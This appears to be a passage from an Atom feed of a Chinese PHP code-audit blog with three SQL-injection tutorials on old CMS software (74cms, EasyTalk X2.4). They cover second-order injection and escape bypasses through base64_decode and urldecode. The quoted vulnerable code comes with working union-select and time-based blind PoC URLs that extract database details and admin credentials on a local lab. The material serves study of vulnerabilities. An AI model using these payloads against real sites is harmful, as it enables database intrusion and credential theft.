<span class="variable">$setsqlarr</span>[<span class="string">'start'</span>] = trim(<span class="variable">$_POST</span>[<span class="string">'start'</span>]) ? <span class="variable">$_POST</span>[<span class="string">'start'</span>] : showmsg(<span class="string">'请填写开始时间!'</span>, <span class="number">1</span>, <span class="variable">$link</span>);</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'endtime'</span>] = trim(<span class="variable">$_POST</span>[<span class="string">'endtime'</span>]) ? <span class="variable">$_POST</span>[<span class="string">'endtime'</span>] : showmsg(<span class="string">'请填写结束时间!'</span>, <span class="number">1</span>, <span class="variable">$link</span>);</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'school'</span>] = trim(<span class="variable">$_POST</span>[<span class="string">'school'</span>]) ? <span class="variable">$_POST</span>[<span class="string">'school'</span>] : showmsg(<span class="string">'请填写学校名称!'</span>, <span class="number">1</span>, <span class="variable">$link</span>);</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'speciality'</span>] = trim(<span class="variable">$_POST</span>[<span class="string">'speciality'</span>]) ? <span class="variable">$_POST</span>[<span class="string">'speciality'</span>] : showmsg(<span class="string">'请填写专业名称!'</span>, <span class="number">1</span>, <span class="variable">$link</span>);</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'education'</span>] = trim(<span class="variable">$_POST</span>[<span class="string">'education'</span>]) ? <span class="variable">$_POST</span>[<span class="string">'education'</span>] : showmsg(<span class="string">'请选择获得学历!'</span>, <span class="number">1</span>, <span class="variable">$link</span>);</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'education_cn'</span>] = trim(<span class="variable">$_POST</span>[<span class="string">'education_cn'</span>]) ? <span class="variable">$_POST</span>[<span class="string">'education_cn'</span>] : showmsg(<span class="string">'请选择获得学历!'</span>, <span class="number">1</span>, <span class="variable">$link</span>);</span><br><span class="line"> <span class="comment">//看到这里有个插入表“qs_resume_education”的操作,将教育背景相关的字段入库</span></span><br><span class="line"> <span class="keyword">if</span> (inserttable(table(<span class="string">'resume_education'</span>), <span class="variable">$setsqlarr</span>)) &#123;</span><br><span class="line"> check_resume(<span class="variable">$_SESSION</span>[<span class="string">'uid'</span>], intval(<span class="variable">$_REQUEST</span>[<span class="string">'pid'</span>]));</span><br></pre></td></tr></table></figure></p>
<p>2.这里看到insert入库了,可以尝试加个单引号,入库后就会消除转义字符。我们先继续跟进inserttables后的check_resume函数<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//检查简历的完成程度</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_resume</span><span class="params">(<span class="variable">$uid</span>, <span class="variable">$pid</span>)</span></span><br><span class="line"></span>&#123;</span><br><span class="line"> <span class="keyword">global</span> <span class="variable">$db</span>, <span class="variable">$timestamp</span>, <span class="variable">$_CFG</span>;</span><br><span class="line"> <span class="variable">$uid</span> = intval(<span class="variable">$uid</span>);</span><br><span class="line"> <span class="variable">$pid</span> = intval(<span class="variable">$pid</span>);</span><br><span class="line"> <span class="variable">$percent</span> = <span class="number">0</span>;</span><br><span class="line"> <span class="variable">$resume_basic</span> = get_resume_basic(<span class="variable">$uid</span>, <span class="variable">$pid</span>);</span><br><span class="line"> <span class="variable">$resume_intention</span> = <span class="variable">$resume_basic</span>[<span class="string">'intention_jobs'</span>];</span><br><span class="line"> <span class="variable">$resume_specialty</span> = <span class="variable">$resume_basic</span>[<span class="string">'specialty'</span>];</span><br><span class="line"> <span class="comment">//获取教育经历,出数据库了</span></span><br><span class="line"> <span class="variable">$resume_education</span> = get_resume_education(<span class="variable">$uid</span>, <span class="variable">$pid</span>);</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$resume_basic</span>)) <span class="variable">$percent</span> = <span class="variable">$percent</span> + <span class="number">15</span>;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$resume_intention</span>)) <span class="variable">$percent</span> = <span class="variable">$percent</span> + <span class="number">15</span>;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$resume_specialty</span>)) <span class="variable">$percent</span> = <span class="variable">$percent</span> + <span class="number">15</span>;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$resume_education</span>)) <span class="variable">$percent</span> = <span class="variable">$percent</span> + <span class="number">15</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$resume_basic</span>[<span class="string">'photo_img'</span>] &amp;&amp; <span class="variable">$resume_basic</span>[<span class="string">'photo_audit'</span>] == <span class="string">"1"</span> &amp;&amp; <span class="variable">$resume_basic</span>[<span class="string">'photo_display'</span>] == <span class="string">"1"</span>) &#123;</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'photo'</span>] = <span class="number">1</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'photo'</span>] = <span class="number">0</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$percent</span> &lt; <span class="number">60</span>) &#123;</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'complete_percent'</span>] = <span class="variable">$percent</span>;</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'complete'</span>] = <span class="number">2</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="variable">$resume_work</span> = get_resume_work(<span class="variable">$uid</span>, <span class="variable">$pid</span>);</span><br><span class="line"> <span class="variable">$resume_training</span> = get_resume_training(<span class="variable">$uid</span>, <span class="variable">$pid</span>);</span><br><span class="line"> <span class="variable">$resume_photo</span> = <span class="variable">$resume_basic</span>[<span class="string">'photo_img'</span>];</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$resume_work</span>)) <span class="variable">$percent</span> = <span class="variable">$percent</span> + <span class="number">13</span>;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$resume_training</span>)) <span class="variable">$percent</span> = <span class="variable">$percent</span> + <span class="number">13</span>;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$resume_photo</span>)) <span class="variable">$percent</span> = <span class="variable">$percent</span> + <span class="number">14</span>;</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'complete'</span>] = <span class="number">1</span>;</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'complete_percent'</span>] = <span class="variable">$percent</span>;</span><br><span class="line"> <span class="keyword">require_once</span>(QISHI_ROOT_PATH . <span class="string">'include/splitword.class.php'</span>);</span><br><span class="line"> <span class="variable">$sp</span> = <span class="keyword">new</span> SPWord();</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'key'</span>] = <span class="variable">$resume_basic</span>[<span class="string">'intention_jobs'</span>] . <span class="variable">$resume_basic</span>[<span class="string">'recentjobs'</span>] . <span class="variable">$resume_basic</span>[<span class="string">'specialty'</span>];</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'key'</span>] = <span class="string">"&#123;$resume_basic['fullname']&#125; "</span> . <span class="variable">$sp</span>-&gt;extracttag(<span class="variable">$setsqlarr</span>[<span class="string">'key'</span>]);</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'key'</span>] = str_replace(<span class="string">","</span>, <span class="string">" "</span>, <span class="variable">$resume_basic</span>[<span class="string">'intention_jobs'</span>]) . <span class="string">" &#123;$setsqlarr['key']&#125; &#123;$resume_basic['education_cn']&#125;"</span>;</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'key'</span>] = <span class="variable">$sp</span>-&gt;pad(<span class="variable">$setsqlarr</span>[<span class="string">'key'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$resume_education</span>)) &#123;</span><br><span class="line"> <span class="comment">//遍历教育经历所有字段,加入到数组里</span></span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$resume_education</span> <span class="keyword">as</span> <span class="variable">$li</span>) &#123;</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'key'</span>] = <span class="string">"&#123;$li['school']&#125; &#123;$setsqlarr['key']&#125; &#123;$li['speciality']&#125;"</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'refreshtime'</span>] = <span class="variable">$timestamp</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="comment">//这里对教育经历做了次更新操作,二次注入由此产生!</span></span><br><span class="line"> updatetable(table(<span class="string">'resume'</span>), <span class="variable">$setsqlarr</span>, <span class="string">"uid='&#123;$uid&#125;' AND id='&#123;$pid&#125;'"</span>);</span><br><span class="line"> updatetable(table(<span class="string">'resume_tmp'</span>), <span class="variable">$setsqlarr</span>, <span class="string">"uid='&#123;$uid&#125;' AND id='&#123;$pid&#125;'"</span>);</span><br></pre></td></tr></table></figure></p>
<p>3.我们填写一份简历简单试验下,在教育经历处学校名称字段填写aa’<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql3_04.png" alt=""><br>保存后发现报错语句:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql3_05.png" alt=""></p>
<h2 id="0x04_漏洞证明">0x04 漏洞证明</h2><p>构造获取数据库用户相关信息的POC:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql3_06.png" alt=""><br>查看简历发现简历姓名变成了root@localhost:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql3_07.png" alt=""><br>查看sql语句发现更新语句是成功执行的:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql3_08.png" alt=""><br>最后,有兴趣的同学可以继续获取其它的管理员账户等相关字段的信息。</p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2016/02/19/sql3/">http://www.cnbraid.com/2016/02/19/sql3/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
<h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。二次注入也是一种比较常见的注入,它涉及到入库和出库。因为有全局转义所以入库的时候:</p>
<blockquote>
<p>Insert into table (username) values (‘hack\’’);</p>
</blockquote>
<p>这样入库后转义符就会消失变成了hack’,这样如果hack’出库被带入查询的话就会成功的引入了单引号导致注入。<br><strong>漏洞来源于乌云:<a href="http://www.wooyun.org/bugs/wooyun-2014-068362">http://www.wooyun.org/bugs/wooyun-2014-068362</a></strong><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlbypass2.jpg" alt=""><br>
</summary>
<category term="WEB应用漏洞" scheme="http://www.cnbraid.com/categories/WEB%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.cnbraid.com/tags/PHP/"/>
<category term="SQL注入" scheme="http://www.cnbraid.com/tags/SQL%E6%B3%A8%E5%85%A5/"/>
<category term="代码审计" scheme="http://www.cnbraid.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode</title>
<link href="http://www.cnbraid.com/2016/02/18/sql2/"/>
<id>http://www.cnbraid.com/2016/02/18/sql2/</id>
<published>2016-02-18T02:35:00.000Z</published>
<updated>2016-06-24T08:55:39.308Z</updated>
<content type="html"><h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。同上一篇,我们需要找一些编码解码的函数来绕过全局防护,本篇介绍base64decode()的情况。<br><strong>漏洞来源于乌云:<a href="http://www.wooyun.org/bugs/wooyun-2014-050338" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2014-050338</a></strong><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlbypass1.jpg" alt=""><br><a id="more"></a></p>
<h2 id="0x02_环境搭建">0x02 环境搭建</h2><p>看背景我们使用了低版本的easytalk程序,版本为X2.4<br>①源码我打包了一份:<a href="http://pan.baidu.com/s/1bopOFNL" title="easytalk.zip" target="_blank" rel="external">http://pan.baidu.com/s/1bopOFNL</a><br>②解压到www的easytalk目录下,按照提示一步步安装即可,遇到问题自行百度或谷歌,成功后访问如下图:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_2.png" alt=""></p>
<h2 id="0x03_漏洞分析">0x03 漏洞分析</h2><p>首先看下源码结构,用的ThinkPHP框架,比较复杂:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_3.png" alt=""><br>有兴趣的可以去研究下再继续往下看,新手可以知道ThinkPHP对接收的参数是有过滤的,并且根据你服务器是否开启GPC会做相应的处理:<br>1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php文件第266行:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="comment">/**</span><br><span class="line">+----------------------------------------------------------</span><br><span class="line"> * 如果 magic_quotes_gpc 为关闭状态,这个函数可以转义字符串</span><br><span class="line">+----------------------------------------------------------</span><br><span class="line"> * <span class="doctag">@access</span> public</span><br><span class="line">+----------------------------------------------------------</span><br><span class="line"> * <span class="doctag">@param</span> string $string 要处理的字符串</span><br><span class="line">+----------------------------------------------------------</span><br><span class="line"> * <span class="doctag">@return</span> string</span><br><span class="line">+----------------------------------------------------------</span><br><span class="line"> */</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">addSlashes</span><span class="params">(<span class="variable">$string</span>)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">if</span> (!get_magic_quotes_gpc()) &#123;</span><br><span class="line"> <span class="variable">$string</span> = addslashes(<span class="variable">$string</span>);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$string</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>2.使用Seay代码审计系统的全局搜索功能,搜索包含关键字为”base64_decode”的文件,发现SettingAction.class.php包含一个对接收的参数auth进行base64_decode的地方:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql02_04.jpg" alt=""><br>3.我们跟进这个php文件,发现虽然使用daddslashes函数进行了注入过滤,但是使用了base64_decode函数对参数auth进行了转码从而可以绕过过滤造成注入:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//认证电子邮件</span></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">doauth</span><span class="params">()</span> </span>&#123;</span><br><span class="line"> <span class="variable">$_authmsg</span>=daddslashes(<span class="variable">$_GET</span>[<span class="string">'auth'</span>]);<span class="comment">//再次判断GPC是否开启并进行注入过滤</span></span><br><span class="line"> <span class="variable">$authmsg</span>=base64_decode(<span class="variable">$_authmsg</span>);<span class="comment">//base64_decode函数对参数进行转码处理</span></span><br><span class="line"> <span class="variable">$tem</span>=explode(<span class="string">":"</span>,<span class="variable">$authmsg</span>);<span class="comment">//对解码后的参数authmsg按照“:”进行分割存入数组tem中</span></span><br><span class="line"> <span class="variable">$send_id</span>=<span class="variable">$tem</span>[<span class="number">0</span>];</span><br><span class="line"> <span class="variable">$user</span>=M(<span class="string">'Users'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$row</span> = <span class="variable">$user</span>-&gt;field(<span class="string">'mailadres,auth_email'</span>)-&gt;where(<span class="string">"user_id='$send_id'"</span>)-&gt;find();<span class="comment">//带入查询,在where子句里,造成注入</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$_authmsg</span>==<span class="variable">$row</span>[<span class="string">'auth_email'</span>]) &#123;</span><br><span class="line"> <span class="variable">$user</span>-&gt;where(<span class="string">"user_id='$send_id'"</span>)-&gt;setField(<span class="string">'auth_email'</span>,<span class="number">1</span>);</span><br><span class="line"> setcookie(<span class="string">'setok'</span>, json_encode(<span class="keyword">array</span>(<span class="string">'lang'</span>=&gt;L(<span class="string">'mail6'</span>),<span class="string">'ico'</span>=&gt;<span class="number">1</span>)),<span class="number">0</span>,<span class="string">'/'</span>);</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> setcookie(<span class="string">'setok'</span>, json_encode(<span class="keyword">array</span>(<span class="string">'lang'</span>=&gt;L(<span class="string">'mail7'</span>),<span class="string">'ico'</span>=&gt;<span class="number">2</span>)),<span class="number">0</span>,<span class="string">'/'</span>);</span><br><span class="line"> &#125;</span><br><span class="line"> header(<span class="string">'location:'</span>.SITE_URL.<span class="string">'/?m=setting&amp;a=mailauth'</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<h2 id="0x04_漏洞证明">0x04 漏洞证明</h2><p>构造获取数据库相关信息的POC:</p>
<pre><code><span class="string">http:</span><span class="comment">//localhost/eazytalk/?m=setting&amp;a=doauth&amp;auth=aGFja2luZycgdW5pb24gc2VsZWN0IHVzZXIoKSwyIw==</span>
</code></pre><p>查看sql语句发现成功执行:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql02_05.jpg" alt=""><br>发现这里是一个盲注,并没有输出,所以我们使用sql盲注的语句。获取当前数据库用户名的第一个字符是不是‘r’(ascii值为114)的POC:</p>
<pre><code><span class="string">http:</span><span class="comment">//localhost/eazytalk/?m=index&amp;a=mailactivity&amp;auth=MicgYW5kIChzZWxlY3QgaWYoKGFzY2lpKHN1YnN0cmluZygoc2VsZWN0IHVzZXIoKSksMSwxKSkgPSAxMTQpLHNsZWVwKDUpLDApKSM=</span>
</code></pre><p>页面持续了5秒,说明user()的第一个字符为‘r’,查看sql语句发现成功执行:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql2_1.png" alt=""><br>最后,有兴趣的同学可以自己写个py脚本来跑这种盲注。</p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2016/02/18/sql2/">http://www.cnbraid.com/2016/02/18/sql2/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
<h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。同上一篇,我们需要找一些编码解码的函数来绕过全局防护,本篇介绍base64decode()的情况。<br><strong>漏洞来源于乌云:<a href="http://www.wooyun.org/bugs/wooyun-2014-050338">http://www.wooyun.org/bugs/wooyun-2014-050338</a></strong><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlbypass1.jpg" alt=""><br>
</summary>
<category term="WEB应用漏洞" scheme="http://www.cnbraid.com/categories/WEB%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.cnbraid.com/tags/PHP/"/>
<category term="SQL注入" scheme="http://www.cnbraid.com/tags/SQL%E6%B3%A8%E5%85%A5/"/>
<category term="代码审计" scheme="http://www.cnbraid.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode</title>
<link href="http://www.cnbraid.com/2015/12/24/sql1/"/>
<id>http://www.cnbraid.com/2015/12/24/sql1/</id>
<published>2015-12-24T02:35:00.000Z</published>
<updated>2016-06-24T08:55:46.893Z</updated>
<content type="html"><h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。遇到这种情况我们就需要找一些编码解码的函数来绕过全局防护,这篇文章讲urldecode()的情况,同样大牛请自觉绕道~<br><strong>漏洞来源于乌云:<a href="http://www.wooyun.org/bugs/wooyun-2014-050338" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2014-050338</a></strong><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlbypass1.jpg" alt=""><br><a id="more"></a></p>
<h2 id="0x02_环境搭建">0x02 环境搭建</h2><p>看背景我们使用了低版本的easytalk程序,版本为X2.4<br>①源码我打包了一份:<a href="http://pan.baidu.com/s/1bopOFNL" title="easytalk.zip" target="_blank" rel="external">http://pan.baidu.com/s/1bopOFNL</a><br>②解压到www的easytalk目录下,按照提示一步步安装即可,遇到问题自行百度或谷歌,成功后访问如下图:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_2.png" alt=""></p>
<h2 id="0x03_漏洞分析">0x03 漏洞分析</h2><p>首先看下源码结构,用的ThinkPHP框架,比较复杂:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_3.png" alt=""><br>有兴趣的可以去研究下再继续往下看,新手可以知道ThinkPHP对接收的参数是有过滤的,并且根据你服务器是否开启GPC会做相应的处理:<br>1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php文件第266行:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">/**</span><br><span class="line"> +----------------------------------------------------------</span><br><span class="line"> * 如果 magic_quotes_gpc 为关闭状态,这个函数可以转义字符串</span><br><span class="line"> +----------------------------------------------------------</span><br><span class="line"> * <span class="doctag">@access</span> public</span><br><span class="line"> +----------------------------------------------------------</span><br><span class="line"> * <span class="doctag">@param</span> string $string 要处理的字符串</span><br><span class="line"> +----------------------------------------------------------</span><br><span class="line"> * <span class="doctag">@return</span> string</span><br><span class="line"> +----------------------------------------------------------</span><br><span class="line"> */</span></span><br><span class="line"> <span class="keyword">static</span> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">addSlashes</span><span class="params">(<span class="variable">$string</span>)</span> </span>&#123;</span><br><span class="line"> <span class="keyword">if</span> (!get_magic_quotes_gpc()) &#123;</span><br><span class="line"> <span class="variable">$string</span> = addslashes(<span class="variable">$string</span>);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$string</span>;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure></p>
<p>2.使用Seay代码审计系统的全局搜索功能,搜索包含关键字为”urldecode”的文件,发现TopicAction.class.php包含一个对接收的参数keyword进行urldecode并且有sql查询的地方:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_4.png" alt=""><br>3.我们跟进这个php文件,发现接收keyword就对其进行urldecode转码,然后立即带入查询,造成注入:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">topic</span><span class="params">()</span></span><br><span class="line"></span>&#123;</span><br><span class="line"> <span class="variable">$keyword</span> = <span class="variable">$this</span>-&gt;_get(<span class="string">'keyword'</span>, <span class="string">'urldecode'</span>);<span class="comment">//使用ThinkPHP框架自带的_get对接收的keyword参数进行urldecode(详见http://doc.thinkphp.cn/manual/get_system_var.html)</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$keyword</span>) &#123;</span><br><span class="line"> <span class="variable">$topic</span> = D(<span class="string">'Topic'</span>)-&gt;where(<span class="string">"topicname='$keyword'"</span>)-&gt;find();<span class="comment">//ok,带入查询了</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$topic</span>) &#123;</span><br><span class="line"> <span class="variable">$isfollow</span> = D(<span class="string">'Mytopic'</span>)-&gt;isfollow(<span class="variable">$topic</span>[<span class="string">'id'</span>], <span class="variable">$this</span>-&gt;my[<span class="string">'user_id'</span>]);</span><br><span class="line"> <span class="variable">$topicusers</span> = D(<span class="string">'MytopicView'</span>)-&gt;where(<span class="string">"topicid='$topic[id]'"</span>)-&gt;order(<span class="string">'id desc'</span>)-&gt;limit(<span class="number">9</span>)-&gt;select();</span><br><span class="line"> <span class="variable">$widget</span> = M(<span class="string">'Topicwidget'</span>)-&gt;where(<span class="string">"topicid='$topic[id]'"</span>)-&gt;order(<span class="string">'`order` ASC'</span>)-&gt;select();</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$widget</span>) &#123;</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$widget</span> <span class="keyword">as</span> <span class="variable">$val</span>) &#123;</span><br><span class="line"> <span class="variable">$topicwidget</span>[<span class="variable">$val</span>[<span class="string">'widgettype'</span>]][] = <span class="variable">$val</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="variable">$this</span>-&gt;assign(<span class="string">'topicwidget'</span>, <span class="variable">$topicwidget</span>);</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="variable">$count</span> = <span class="variable">$isfollow</span> = <span class="number">0</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="variable">$this</span>-&gt;assign(<span class="string">'comefrom'</span>, <span class="string">'topic'</span>);</span><br><span class="line"> <span class="variable">$this</span>-&gt;assign(<span class="string">'keyword'</span>, <span class="variable">$keyword</span>);</span><br><span class="line"> <span class="variable">$this</span>-&gt;assign(<span class="string">'topic'</span>, <span class="variable">$topic</span>);</span><br><span class="line"> <span class="variable">$this</span>-&gt;assign(<span class="string">'topicusers'</span>, <span class="variable">$topicusers</span>);</span><br><span class="line"> <span class="variable">$this</span>-&gt;assign(<span class="string">'isfollow'</span>, <span class="variable">$isfollow</span>);</span><br><span class="line"> <span class="variable">$this</span>-&gt;assign(<span class="string">'subname'</span>, <span class="string">'#'</span> . <span class="variable">$keyword</span> . <span class="string">'#'</span>);</span><br><span class="line"> <span class="variable">$this</span>-&gt;display();</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> header(<span class="string">"location:"</span> . SITE_URL . <span class="string">'/?m=topic&amp;a=index'</span>);</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<h2 id="0x04_漏洞证明">0x04 漏洞证明</h2><p>1.我们构造获取数据库相关信息的POC:</p>
<pre><code><span class="rule"><span class="attribute">http</span>:<span class="value">//localhost/eazytalk/?m=topic&amp;a=topic&amp;keyword=aaa%<span class="number">2527</span> and <span class="number">1</span>=<span class="number">2</span> union select <span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="function">concat</span>(<span class="function">database</span>(),<span class="number">0</span>x5c,<span class="function">user</span>(),<span class="number">0</span>x5c,<span class="function">version</span>()),<span class="number">5</span> %<span class="number">23</span></span></span>
</code></pre><p>成功获取到信息如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_7.png" alt=""><br>查看下MySql日志,发现成功执行了sql语句:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_8.png" alt=""><br>2.我们构造获取数据库eazytalk所有表的POC:</p>
<pre><code><span class="keyword">http</span>://localhost/eazytalk/?m=topic&amp;<span class="operator">a</span>=topic&amp;keyword=aaa%<span class="number">2527</span> <span class="operator">and</span> <span class="number">1</span>=<span class="number">2</span> <span class="built_in">union</span> select <span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>, (select GROUP_CONCAT(DISTINCT table_name) <span class="built_in">from</span> information_schema.tables where table_schema=<span class="number">0x6561737974616C6B</span>),<span class="number">5</span>%<span class="number">23</span>
</code></pre><p>成功获取所有表信息如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_9.png" alt=""><br>4.构造获取表et_users所有字段信息的POC:</p>
<pre><code><span class="keyword">http</span>://localhost/eazytalk/?m=topic&amp;<span class="operator">a</span>=topic&amp;keyword=aaa%<span class="number">2527</span> <span class="operator">and</span> <span class="number">1</span>=<span class="number">2</span> <span class="built_in">union</span> select <span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>, (select GROUP_CONCAT(DISTINCT column_name) <span class="built_in">from</span> information_schema.columns where table_name=<span class="number">0x65745F7573657273</span>),<span class="number">5</span>%<span class="number">23</span>
</code></pre><p>成功获取表et_users所有字段信息如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_10.png" alt=""><br>5.构造获取et_users表第一条账户的POC:</p>
<pre><code><span class="keyword">http</span>://localhost/eazytalk/?m=topic&amp;<span class="operator">a</span>=topic&amp;keyword=aaa%<span class="number">2527</span> <span class="operator">and</span> <span class="number">1</span>=<span class="number">2</span> <span class="built_in">union</span> select <span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>, (select GROUP_CONCAT(DISTINCT user_name,<span class="number">0x5f</span>,password) <span class="built_in">from</span> et_users limit <span class="number">0</span>,<span class="number">1</span>),<span class="number">5</span>%<span class="number">23</span>
</code></pre><p>成功获取表admin的账户密码如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql01_11.png" alt=""></p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2015/12/24/sql1/">http://www.cnbraid.com/2015/12/24/sql1/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
